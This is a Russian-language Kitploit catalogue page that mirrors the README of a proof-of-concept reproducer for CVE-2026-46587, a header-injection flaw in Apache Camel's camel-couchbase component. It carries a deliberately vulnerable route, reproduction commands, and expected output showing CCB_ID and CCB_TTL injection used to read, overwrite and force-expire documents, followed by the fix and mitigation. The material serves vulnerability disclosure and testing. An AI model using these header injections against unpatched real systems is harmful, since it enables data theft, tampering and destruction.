Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-46587 — Reproducer for CVE-2026-46587: Apache Camel camel-couchbase CCB_* header injection enabling document disclosure, tampering, and TTL-forced data destruction (fixed in 4.14.8/4.18.3/4.21.0) | Kitploit
Инструменты/GitHubGitHub/oscerd/cve-2026-46587
Vulnerability AnalysisExploitationWeb Application ExploitationAPI Security TestingPenetration TestingLearning & Education
GitHuboscerd/cve-2026-46587

CVE-2026-46587

Reproducer for CVE-2026-46587: Apache Camel camel-couchbase CCB_* header injection enabling document disclosure, tampering, and TTL-forced data destruction (fixed in 4.14.8/4.18.3/4.21.0)

Репозиторий
1 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

camel-couchbase CCB_* Header Injection Reproducer (CVE-2026-46587)

Этот проект демонстрирует инъекцию заголовков сообщений в компонент camel-couchbase Apache Camel, отслеживаемую как CVE-2026-46587. Компонент считывает несколько заголовков Exchange для управления своим поведением — CCB_KEY (ключ документа), CCB_ID (идентификатор документа), CCB_TTL (время жизни документа), CCB_DDN (имя дизайн-документа) и CCB_VN (имя представления). Строковые значения этих констант заголовков (определённых в CouchbaseConstants) представляют собой простые имена без префикса, в отличие от имен с префиксом Camel, которые используются всеми остальными компонентами (например, CamelSqlQuery). Входящий HttpHeaderFilterStrategy в Camel блокирует только имена заголовков, начинающиеся с Camel / camel, поэтому эти имена проходят через входящий фильтр без изменений. Когда маршрут выставляет HTTP-вход (например, platform-http) перед продюсером couchbase, ненадёжный HTTP-клиент может напрямую установить эти заголовки и переопределить идентификатор документа, TTL, имя дизайн-документа или имя представления, настроенные автором маршрута.

Данный PoC демонстрирует три различных воздействия от одной уязвимости:

  1. Раскрытие — инжектированный CCB_ID считывает документ вне области видимости вызывающего.
  2. Подмена — инжектированный CCB_ID при записи перезаписывает защищённый документ.
  3. Уничтожение данных — инжектированный CCB_TTL=1 принуждает собственный документ вызывающего к автоматическому самоуничтожению.

Уведомление безопасности: https://camel.apache.org/security/CVE-2026-46587.html

Сводка уязвимости

Та же группа инъекций заголовков, что и CVE-2025-27636, CVE-2026-40453, CVE-2026-46453 и CVE-2026-47323. Исправление находится в одном PR с сопутствующим уведомлением CVE-2026-46588 (camel-couchdb).

Технические подробности

root@kitploit:~
// CouchbaseConstants (затронутая 4.18.2) — имена заголовков — это простые строки без префикса:
String HEADER_ID  = "CCB_ID";
String HEADER_TTL = "CCB_TTL";

// CouchbaseProducer.process (затронутая 4.18.2) — id и срок жизни берутся напрямую из этих заголовков:
String id = headers.containsKey(HEADER_ID) ? exchange.getIn().getHeader(HEADER_ID, String.class) : endpoint.getId();
int ttl   = headers.containsKey(HEADER_TTL) ? Integer.parseInt(exchange.getIn().getHeader(HEADER_TTL, String.class)) : DEFAULT_TTL;
// ... setDocument(collection, id, ttl, body, ...) / getDocument(collection, id, ...) / removeDocument(...)

Исправление (4.14.8 / 4.18.3 / 4.21.0) переименовывает значения заголовков в соответствии с соглашением Camel — CCB_ID → CamelCouchbaseId, CCB_TTL → CamelCouchbaseTtl, CCB_KEY → CamelCouchbaseKey, CCB_DDN → CamelCouchbaseDesignDocumentName, CCB_VN → CamelCouchbaseViewName — теперь они блокируются входящим HttpHeaderFilterStrategy, как и все остальные управляющие заголовки Camel. Имена констант в Java остались без изменений.

Маршрут-жертва

root@kitploit:~
from("platform-http:/save")           // и /fetch
    .removeHeaders("Camel*")                                   // документированная защита — см. ниже
    .choice().when(header("CCB_ID").isNull())
        .setHeader("CCB_ID", constant("user-draft"))           // по умолчанию — собственный документ вызывающего
    .end()
    .to("couchbase:couchbase://<host>:8091?bucket=mybucket&username=..&password=..&operation=CCB_PUT");

Маршрут устанавливает идентификатор документа по умолчанию в собственный черновик вызывающего и, как документированная защита, удаляет пространство имён управляющих заголовков Camel на границе. Это не помогает: переопределяющие заголовки называются CCB_ID / CCB_TTL, а не CamelCouchbaseId / CamelCouchbaseTtl, поэтому они не удаляются ни removeHeaders("Camel*"), ни встроенным HTTP-фильтром — и продюсер их принимает.

В базе данных изначально находятся два документа: user-draft (собственный документ вызывающего) и system-config (чувствительный документ, который конечная точка никогда не должна раскрывать).

Структура репозитория

Жертва — это маршруты Camel и их база данных Couchbase; атакующий — это неаутентифицированный HTTP-клиент, который только устанавливает заголовки запросов. Небольшой SDK тестовый стенд (harness) засевает и считывает документы для проверки, независимо от уязвимого маршрута.

root@kitploit:~
CVE-2026-46587/
├── pom.xml                 # camel-platform-http + camel-couchbase 4.18.2
├── Dockerfile
├── docker-compose.yml      # couchbase 7.6 (community) + одноразовый инициализатор + приложение
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── CouchbaseSettings.java    # хост / бакет / учётные данные / идентификаторы документов
    │   ├── CouchbaseHarness.java     # SDK harness: засев и чтение документов для проверки
    │   ├── VictimRoute.java          # platform-http:/save и /fetch -> couchbase producer
    │   └── ExploitController.java    # атакующий: HTTP-запросы с инжектированными заголовками CCB_ID / CCB_TTL
    └── resources/
        └── application.properties

Необходимые условия

  • Docker и Docker Compose (запускает Couchbase Server + приложение)
  • Java 17+ и Maven 3.8+ (для сборки jar)

Шаги воспроизведения

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build          # couchbase -> provisioner -> app (первый запуск загружает ~1.7GB)
# дождаться строки в логе приложения "Started Application", затем выполнить:
curl -s http://localhost:8080/exploit/attack
docker compose down -v

В compose-файле инициализируется одноузловой кластер Couchbase (только KV), создаётся бакет mybucket и пользователь appuser, затем запускается приложение. В качестве имени узла используется псевдоним сети с точкой (couchbase.cve.local), поскольку Couchbase отклоняет короткие имена хостов.

Ожидаемый вывод

root@kitploit:~
initial DB state (read straight from Couchbase):
  user-draft    = empty-draft
  system-config = PROTECTED-ORIGINAL-CONFIG

=== 1) Legitimate fetch (no CCB_ID) — the caller's own draft ===
  empty-draft
=== 2) Injected fetch (CCB_ID=system-config) — reads a protected document ===
  PROTECTED-ORIGINAL-CONFIG
  read-override / disclosure: true
=== 3) Legitimate save (no CCB_ID) — writes only the caller's own draft ===
  system-config = PROTECTED-ORIGINAL-CONFIG   (unchanged)
=== 4) Injected save (CCB_ID=system-config) — overwrites a protected document ===
  system-config = ATTACKER-OVERWRITE-PAYLOAD
  write-override / tampering: true
=== 5) Injected save (CCB_TTL=1) — forces the caller's own document to self-destruct ===
  user-draft immediately after save: important quarterly data the user just saved
  user-draft ~2.5s later:            <not found: DocumentNotFoundException>
  ttl-injection / data loss: true

>>> Header-injection proof — an unauthenticated HTTP client controlled the Couchbase operation
>>> via CCB_* headers: read a protected doc (true), overwrote it (true), and destroyed data with a forced TTL (true).

Векторы атаки

Любой маршрут с продюсером couchbase, доступным от HTTP-потребителя. Инжектируемые заголовки: CCB_ID / CCB_KEY (идентификатор/ключ документа → чтение, перезапись или удаление произвольных документов), CCB_TTL (принудительный срок действия → потеря данных) и, на стороне потребителя, CCB_DDN / CCB_VN (имена дизайн-документа и представления).

Рекомендуемое исправление

Обновитесь до 4.14.8 / 4.18.3 / 4.21.0 (уведомление PR #23228). После исправления переопределяющие заголовки получат префикс Camel (CamelCouchbaseId, CamelCouchbaseTtl, …) и будут отфильтрованы на границе HTTP, как и все остальные управляющие заголовки.

Смягчение

До обновления удаляйте соответствующие заголовки из ненадёжных входящих сообщений до того, как они достигнут продюсера, например .removeHeader("CCB_KEY"), .removeHeader("CCB_ID"), .removeHeader("CCB_TTL"), .removeHeader("CCB_DDN") и .removeHeader("CCB_VN") перед конечной точкой couchbase, или примените собственную HeaderFilterStrategy, блокирующую эти имена.

Отказ от ответственности

Данный репродусер предоставляется только для исследований в области безопасности и авторизованного тестирования для публично раскрытой и исправленной уязвимости. Не используйте его против систем без явного разрешения.

Скачать инструмент
СвойствоЗначение
Компонентcamel-couchbase
Затронутый классorg.apache.camel.component.couchbase.CouchbaseProducer, читающий CouchbaseConstants.HEADER_ID ("CCB_ID"), HEADER_TTL ("CCB_TTL") и т.д.
CWECWE-20: Некорректная проверка входных данных
ВоздействиеHTTP-клиент устанавливает заголовки CCB_* → переопределение идентификатора документа / TTL / дизайн-документа / представления → раскрытие, подмена, потеря данных
Предварительные условияМаршрут, выставляющий продюсер couchbase за HTTP-потребителем (например platform-http); отсутствие аутентификации у потребителя
Затронутые версииС 4.0.0 до 4.14.8, с 4.15.0 до 4.18.3, с 4.19.0 до 4.21.0
Исправленные версии4.14.8, 4.18.3, 4.21.0
ИсправлениеPR apache/camel#23228 (main), портировано через #23230 (4.18.x) / #23231 (4.14.x)
Автор отчётаЮй Бао (Yu Bao, PayPal)